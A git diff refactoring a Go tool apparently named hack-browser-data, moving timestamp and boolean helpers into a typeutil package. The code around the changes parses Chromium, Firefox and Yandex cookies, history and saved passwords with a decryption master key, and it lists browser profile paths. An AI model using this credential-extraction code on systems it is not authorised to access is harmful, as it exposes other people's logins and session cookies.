@@ -10,7 +10,7 @@ import (
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
- "hack-browser-data/internal/utils"
+ "hack-browser-data/internal/utils/typeutil"
)
type ChromiumCookie []cookie
@@ -43,12 +43,12 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error {
Host: host,
Path: path,
encryptValue: encryptValue,
- IsSecure: utils.IntToBool(isSecure),
- IsHTTPOnly: utils.IntToBool(isHTTPOnly),
- HasExpire: utils.IntToBool(hasExpire),
- IsPersistent: utils.IntToBool(isPersistent),
- CreateDate: utils.TimeEpochFormat(createDate),
- ExpireDate: utils.TimeEpochFormat(expireDate),
+ IsSecure: typeutil.IntToBool(isSecure),
+ IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
+ HasExpire: typeutil.IntToBool(hasExpire),
+ IsPersistent: typeutil.IntToBool(isPersistent),
+ CreateDate: typeutil.TimeEpoch(createDate),
+ ExpireDate: typeutil.TimeEpoch(expireDate),
}
// TODO: replace DPAPI
if len(encryptValue) > 0 {
@@ -102,10 +102,10 @@ func (f *FirefoxCookie) Parse(masterKey []byte) error {
KeyName: name,
Host: host,
Path: path,
- IsSecure: utils.IntToBool(isSecure),
- IsHTTPOnly: utils.IntToBool(isHttpOnly),
- CreateDate: utils.TimeStampFormat(creationTime / 1000000),
- ExpireDate: utils.TimeStampFormat(expiry),
+ IsSecure: typeutil.IntToBool(isSecure),
+ IsHTTPOnly: typeutil.IntToBool(isHttpOnly),
+ CreateDate: typeutil.TimeStamp(creationTime / 1000000),
+ ExpireDate: typeutil.TimeStamp(expiry),
Value: value,
})
}
diff --git a/internal/browingdata/download.go b/internal/browingdata/download.go
index 0419f90..8761bd8 100644
--- a/internal/browingdata/download.go
+++ b/internal/browingdata/download.go
@@ -8,7 +8,7 @@ import (
"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
- "hack-browser-data/internal/utils"
+ "hack-browser-data/internal/utils/typeutil"
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
@@ -40,8 +40,8 @@ func (c *ChromiumDownload) Parse(masterKey []byte) error {
TargetPath: targetPath,
Url: tabUrl,
TotalBytes: totalBytes,
- StartTime: utils.TimeEpochFormat(startTime),
- EndTime: utils.TimeEpochFormat(endTime),
+ StartTime: typeutil.TimeEpoch(startTime),
+ EndTime: typeutil.TimeEpoch(endTime),
MimeType: mimeType,
}
*c = append(*c, data)
@@ -98,8 +98,8 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error {
TargetPath: path,
Url: url,
TotalBytes: fileSize.Int(),
- StartTime: utils.TimeStampFormat(dateAdded / 1000000),
- EndTime: utils.TimeStampFormat(endTime.Int() / 1000),
+ StartTime: typeutil.TimeStamp(dateAdded / 1000000),
+ EndTime: typeutil.TimeStamp(endTime.Int() / 1000),
})
}
}
diff --git a/internal/browingdata/history.go b/internal/browingdata/history.go
index e9dfdab..c7fb322 100644
--- a/internal/browingdata/history.go
+++ b/internal/browingdata/history.go
@@ -9,7 +9,7 @@ import (
"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
- "hack-browser-data/internal/utils"
+ "hack-browser-data/internal/utils/typeutil"
)
type ChromiumHistory []history
@@ -40,7 +40,7 @@ func (c *ChromiumHistory) Parse(masterKey []byte) error {
Url: url,
Title: title,
VisitCount: visitCount,
- LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
+ LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
}
*c = append(*c, data)
}
@@ -91,7 +91,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error {
Title: title,
Url: url,
VisitCount: visitCount,
- LastVisitTime: utils.TimeStampFormat(visitDate / 1000000),
+ LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index 8652792..d4b2110 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -15,7 +15,7 @@ import (
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
- "hack-browser-data/internal/utils"
+ "hack-browser-data/internal/utils/typeutil"
)
type ChromiumPassword []loginData
@@ -59,9 +59,9 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
}
}
if create > time.Now().Unix() {
- login.CreateDate = utils.TimeEpochFormat(create)
+ login.CreateDate = typeutil.TimeEpoch(create)
} else {
- login.CreateDate = utils.TimeStampFormat(create)
+ login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
@@ -119,9 +119,9 @@ func (c *YandexPassword) Parse(masterKey []byte) error {
}
}
if create > time.Now().Unix() {
- login.CreateDate = utils.TimeEpochFormat(create)
+ login.CreateDate = typeutil.TimeEpoch(create)
} else {
- login.CreateDate = utils.TimeStampFormat(create)
+ login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
@@ -252,7 +252,7 @@ func getFirefoxLoginData(loginJson string) (l []loginData, err error) {
}
m.encryptUser = user
m.encryptPass = pass
- m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000)
+ m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
l = append(l, m)
}
}
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 08c203b..11ee860 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -43,7 +43,7 @@ func pickChromium(name, profile string) []Browser {
if name == "all" {
for _, v := range chromiumList {
if b, err := chromium.New(v.name, v.storage, v.profilePath, v.items); err == nil {
- log.Infof("find browser %s success", b.Name())
+ log.Noticef("find browser %s success", b.Name())
browsers = append(browsers, b)
} else {
// TODO: show which browser find failed
@@ -85,12 +85,12 @@ func pickFirefox(name, profile string) []Browser {
}
if multiFirefox, err := firefox.New(v.name, v.storage, profile, v.items); err == nil {
for _, b := range multiFirefox {
- log.Infof("find browser: %s success", b.Name())
+ log.Noticef("find browser: firefox %s success", b.Name())
browsers = append(browsers, b)
}
} else {
if strings.Contains(err.Error(), "profile path is not exist") {
- log.Infof("find browser: %s failed, profile path is not exist", v.name)
+ log.Noticef("find browser: firefox %s failed, profile path is not exist", v.name)
} else {
log.Error(err)
}
diff --git a/internal/browser/browser_linux.go b/internal/browser/browser_linux.go
index 9ba39bf..08ca83f 100644
--- a/internal/browser/browser_linux.go
+++ b/internal/browser/browser_linux.go
@@ -74,7 +74,7 @@ var (
firefoxProfilePath = homeDir + "/.mozilla/firefox/"
chromeProfilePath = homeDir + "/.config/google-chrome/Default/"
chromiumProfilePath = homeDir + "/.config/chromium/Default/"
- edgeProfilePath = homeDir + "/.config/microsoft-edge*/Default/"
+ edgeProfilePath = homeDir + "/.config/microsoft-edge/Default/"
braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/Default/"
chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/Default/"
operaProfilePath = homeDir + "/.config/opera/Default/"
diff --git a/internal/item/sql.go b/internal/item/sql.go
deleted file mode 100644
index eb11d32..0000000
--- a/internal/item/sql.go
+++ /dev/null
@@ -1 +0,0 @@
-package item
diff --git a/internal/log/log.go b/internal/log/log.go
index d6a8688..09b302d 100644
--- a/internal/log/log.go
+++ b/internal/log/log.go
@@ -17,7 +17,7 @@ func Init(l string) {
}
}
-const template = "[{{datetime}}] [{{level}}] [{{caller}}] {{message}} {{data}} {{extra}}\n"
+const template = "hack-browser-data [{{level}}] [{{caller}}] {{message}} {{data}} {{extra}}\n"
// NewStdLogger instance
func newStdLogger(level slog.Level) *slog.SugaredLogger {
diff --git a/internal/utils/fileutil/filetutil.go b/internal/utils/fileutil/filetutil.go
index f91948a..6b7bf60 100644
--- a/internal/utils/fileutil/filetutil.go
+++ b/internal/utils/fileutil/filetutil.go
@@ -45,11 +45,11 @@ func ReadFile(filename string) (string, error) {
// CopyItemToLocal copies the file from the provided path to the local path
func CopyItemToLocal(itemPaths map[item.Item]string) error {
- for i, path := range itemPaths {
+ for i, p := range itemPaths {
// var dstFilename = item.TempName()
var filename = i.String()
// TODO: Handle read file error
- d, err := ioutil.ReadFile(path)
+ d, err := ioutil.ReadFile(p)
if err != nil {
fmt.Println(err.Error())
}
@@ -113,7 +113,3 @@ func CompressDir(dir string) error {
log.Debugf("Compress success, zip filename is %s", filename)
return nil
}
-
-// func CleanProfilePath(p string) string {
-//
-// }
diff --git a/internal/utils/typeutil/typeutil.go b/internal/utils/typeutil/typeutil.go
index 2402bb6..986585b 100644
--- a/internal/utils/typeutil/typeutil.go
+++ b/internal/utils/typeutil/typeutil.go
@@ -1,5 +1,11 @@
package typeutil
+import (
+ "time"
+
+ "golang.org/x/exp/constraints"
+)
+
// Keys returns a slice of the keys of the map. based with go 1.18 generics
func Keys[K comparable, V any](m map[K]V) []K {
r := make([]K, 0, len(m))
@@ -8,3 +14,32 @@ func Keys[K comparable, V any](m map[K]V) []K {
}
return r
}
+
+func IntToBool[T constraints.Signed](a T) bool {
+ switch a {
+ case 0, -1:
+ return false
+ }
+ return true
+}
+
+func TimeStamp(stamp int64) time.Time {
+ s := time.Unix(stamp, 0)
+ if s.Local().Year() > 9999 {
+ return time.Date(9999, 12, 13, 23, 59, 59, 0, time.Local)
+ }
+ return s
+}
+
+func TimeEpoch(epoch int64) time.Time {
+ maxTime := int64(99633311740000000)
+ if epoch > maxTime {
+ return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)
+ }
+ t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.Local)
+ d := time.Duration(epoch)
+ for i := 0; i < 1000; i++ {
+ t = t.Add(d)
+ }
+ return t
+}
diff --git a/internal/utils/utils.go b/internal/utils/utils.go
deleted file mode 100644
index 19b5907..0000000
--- a/internal/utils/utils.go
+++ /dev/null
@@ -1,69 +0,0 @@
-package utils
-
-import (
- "fmt"
- "io/ioutil"
- "os"
- "path"
- "strings"
- "time"
-)
-
-func IntToBool(a int) bool {
- switch a {
- case 0, -1:
- return false
- }
- return true
-}
-
-func BookmarkType(a int64) string {
- switch a {
- case 1:
- return "url"
- default:
- return "folder"
- }
-}
-
-func TimeStampFormat(stamp int64) time.Time {
- s1 := time.Unix(stamp, 0)
- if s1.Local().Year() > 9999 {
- return time.Date(9999, 12, 13, 23, 59, 59, 0, time.Local)
- }
- return s1
-}
-
-func TimeEpochFormat(epoch int64) time.Time {
- maxTime := int64(99633311740000000)
- if epoch > maxTime {
- return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)
- }
- t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC)
- d := time.Duration(epoch)
- for i := 0; i < 1000; i++ {
- t = t.Add(d)
- }
- return t
-}
-
-func WriteFile(filename string, data []byte) error {
- err := ioutil.WriteFile(filename, data, 0644)
- if err != nil {
- return nil
- }
- return err
-}
-
-func FormatFilename(dir, browser, filename, format string) string {
- r := strings.Replace(strings.TrimSpace(strings.ToLower(browser)), " ", "_", -1)
- p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format))
- return p
-}
-
-func MakeDir(dirName string) error {
- if _, err := os.Stat(dirName); os.IsNotExist(err) {
- return os.Mkdir(dirName, 0700)
- }
- return nil
-}